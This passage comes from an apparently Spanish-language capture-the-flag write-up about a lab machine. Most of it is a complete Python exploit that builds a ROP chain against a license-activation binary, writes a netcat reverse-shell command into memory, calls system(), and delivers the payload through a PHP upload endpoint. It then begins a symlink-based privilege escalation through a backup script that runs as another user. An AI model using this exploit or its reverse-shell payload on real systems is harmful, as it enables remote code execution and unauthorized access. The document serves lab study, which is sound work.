&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; 0x00003037 0x30 0x00000000 0x30 ---- PROGBITS .debug_aranges
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt; 0x00003067 0x688 0x00000000 0x688 ---- PROGBITS .debug_info
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;28&lt;/span&gt; 0x000036ef 0x1b9 0x00000000 0x1b9 ---- PROGBITS .debug_abbrev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt; 0x000038a8 0x28a 0x00000000 0x28a ---- PROGBITS .debug_line
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;30&lt;/span&gt; 0x00003b32 0x577 0x00000000 0x577 ---- PROGBITS .debug_str
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt; 0x000040b0 0x960 0x00000000 0x960 ---- SYMTAB .symtab
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;32&lt;/span&gt; 0x00004a10 0x437 0x00000000 0x437 ---- STRTAB .strtab
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt; 0x00004e47 0x13e 0x00000000 0x13e ---- STRTAB .shstrtab
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="exploit"&gt;Exploit&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from sys import argv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from pwn import *
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Esta función realiza todo el ataque&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def perform_rce(rhost, lhost)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 1. DIRECCIONES BASE (ASLR) ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Dirección base donde se cargó el programa &amp;#34;activate_license&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (Coincide con la primera línea de /proc/maps)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; actbase = 0x561afcc08000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Dirección base donde se cargó la librería &amp;#34;libc&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (Coincide con la línea de libc-2.31.so en /proc/maps)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; libcbase = 0x7fc7d4c5c000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ActBase: {hex(actbase)}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] LibcBase: {hex(libcbase)}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 2. GADGETS (HERRAMIENTAS DE ROP) ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Son instrucciones pequeñas que ya existen en el programa/libc.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Gadget en el binario principal &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Sirve para poner el primer argumento de una función (RDI)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pop_rdi = p64(actbase + 0x0000181b) &lt;span style="color:#75715e"&gt;# pop rdi; ret;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Gadget en Libc: Sirve para poner el segundo argumento (RDX)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Lo usamos como &amp;#34;mochila&amp;#34; para llevar los trozos de nuestro comando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pop_rdx = p64(libcbase + 0x000cb1cd) &lt;span style="color:#75715e"&gt;# pop rdx; ret;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Gadget en Libc: LA CLAVE. Mueve lo de la mochila (RDX) a la memoria (RDI)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mov_gadget = p64(libcbase + 0x0003ace5) &lt;span style="color:#75715e"&gt;# mov qword ptr [rdi], rdx; ret;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Dirección de la función system() en Libc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; system_addr = p64(libcbase + 0x00048e50)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 3. ZONA ESCRIBIBLE ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Offset 0x4000 sacado de rabin2 (Sección .data)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Aquí es donde escribiremos nuestro comando malicioso byte a byte.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; writable = actbase + 0x00004000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Offset del Buffer Overflow (confirmado previamente como 520)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; offset = &lt;span style="color:#ae81ff"&gt;520&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 4. PREPARAR EL COMANDO (PAYLOAD) ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Creamos el comando de reverse shell.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Usamos mkfifo porque funciona en casi cualquier Linux, tenga bash o sh.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd = f&lt;span style="color:#e6db74"&gt;&amp;#34;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc {lhost} 4444&amp;gt;/tmp/f&amp;#34;&lt;/span&gt;.encode()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Añadimos un byte nulo (\x00) al final porque en C las cadenas terminan así.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd += b&lt;span style="color:#e6db74"&gt;&amp;#34;\x00&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Rellenamos con ceros hasta que la longitud sea múltiplo de 8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# (Necesario porque en 64 bits escribimos de 8 en 8 bytes)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(cmd) % &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; != &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cmd += b&lt;span style="color:#e6db74"&gt;&amp;#34;\x00&amp;#34;&lt;/span&gt; * (&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; - (len(cmd) % &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 5. CONSTRUCCIÓN DE LA ROP CHAIN ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop = b&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += b&lt;span style="color:#e6db74"&gt;&amp;#39;A&amp;#39;&lt;/span&gt; * offset &lt;span style="color:#75715e"&gt;# Relleno basura hasta llegar al RIP (Instruction Pointer)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# BUCLE DE ESCRITURA (Write-What-Where)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Divide el comando en trozos de 8 bytes y los escribe en la memoria .data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, len(cmd), &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; chunk = cmd[i:i+&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;] &lt;span style="color:#75715e"&gt;# Coger 8 letras del comando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Paso A: Decirle DÓNDE escribir (RDI = dirección .data + desplazamiento)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += pop_rdi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += p64(writable + i)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Paso B: Decirle QUÉ escribir (RDX = las 8 letras)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += pop_rdx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += chunk.ljust(&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;, b&lt;span style="color:#e6db74"&gt;&amp;#34;\x00&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Paso C: Ejecutar la escritura (Mover RDX dentro de [RDI])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += mov_gadget
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 6. EJECUCIÓN FINAL ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Ahora que el comando está escrito en la memoria &amp;#39;writable&amp;#39;, lo ejecutamos.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += pop_rdi &lt;span style="color:#75715e"&gt;# Poner en RDI la dirección donde escribimos el comando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += p64(writable)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += system_addr &lt;span style="color:#75715e"&gt;# Llamar a system() -&amp;gt; system(&amp;#34;tu_comando&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 7. EMPAQUETADO Y ENVÍO ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Guardamos el ROP en un archivo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; filename = &lt;span style="color:#e6db74"&gt;&amp;#39;revshell.key&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open(filename, &lt;span style="color:#e6db74"&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;) as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; f.write(rop)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Payload generado en {filename}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Enviando petición a http://{rhost}/activate_license.php ...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Preparamos la subida del archivo tal como lo espera el PHP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; files = {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;licensefile&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; (filename, open(filename, &lt;span style="color:#e6db74"&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;), &lt;span style="color:#e6db74"&gt;&amp;#39;application/octet-stream&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Enviamos el POST. El PHP leerá el archivo y activará el buffer overflow.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; requests.post(f&lt;span style="color:#e6db74"&gt;&amp;#34;http://{rhost}/activate_license.php&amp;#34;&lt;/span&gt;, files=files)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Exploit enviado. ¡Revisa tu listener (nc -lvnp 7777)!&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[-] Error enviando exploit: {e}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Punto de entrada del script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ == &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(argv) &amp;lt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Uso: python3 {argv[0]} &amp;lt;RHOST&amp;gt; &amp;lt;LHOST&amp;gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;Ejemplo: python3 exploit.py 10.129.227.96 10.10.15.44&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perform_rce(argv[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;], argv[&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos reverse shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-808d-a79d-c257407572fb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-dev-vía-servicio-de-backups"&gt;Escalada a &lt;code&gt;dev&lt;/code&gt; vía servicio de backups&lt;/h3&gt;
&lt;p&gt;Enumerando en busca de credenciales (queremos acceso a &lt;code&gt;dev&lt;/code&gt;), en &lt;code&gt;/var/www&lt;/code&gt; vemos &lt;code&gt;.zip&lt;/code&gt; que parecen backups. No hay mucho directo, pero hay timers configurados.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8099-8ee6-cb9ed6568d55.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Nos llama la atención el &lt;code&gt;backup service&lt;/code&gt;, porque se ejecuta como &lt;code&gt;dev&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8030-b9ce-eeff7eb4a16b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;www-data@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/www$ cat /usr/bin/webbackup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set -euf -o pipefail
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /var/www/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SRC=/var/www/html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DST=&lt;span style="color:#e6db74"&gt;&amp;#34;/var/www/&lt;/span&gt;$(date +&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;Y-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;m-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;d_&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;H-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;M-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;S)&lt;span style="color:#e6db74"&gt;-html.zip&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/rm --force -- &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$DST&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/zip --recurse-paths &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$DST&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$SRC&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KEEP=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/find /var/www/ -maxdepth &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; -name &lt;span style="color:#e6db74"&gt;&amp;#39;*.zip&amp;#39;&lt;/span&gt; -print0 \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | sort --zero-terminated --numeric-sort --reverse \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; IFS= read -r -d &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt; backup; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; [ &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$KEEP&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;-le&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; ]; then
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; /usr/bin/rm --force -- &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$backup&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; KEEP=&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$((KEEP-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;))&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; done
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La idea es aprovechar cómo &lt;code&gt;zip&lt;/code&gt; trata enlaces simbólicos cuando corre como &lt;code&gt;dev&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;El sistema arranca el script como el usuario &lt;strong&gt;&lt;code&gt;dev&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zip&lt;/code&gt; empieza a comprimir &lt;code&gt;/var/www/html&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zip&lt;/code&gt; se encuentra con un enlace simbólico.&lt;/li&gt;
&lt;li&gt;El comportamiento por defecto de &lt;code&gt;zip&lt;/code&gt; es seguir enlaces simbólicos y archivar el destino.&lt;/li&gt;
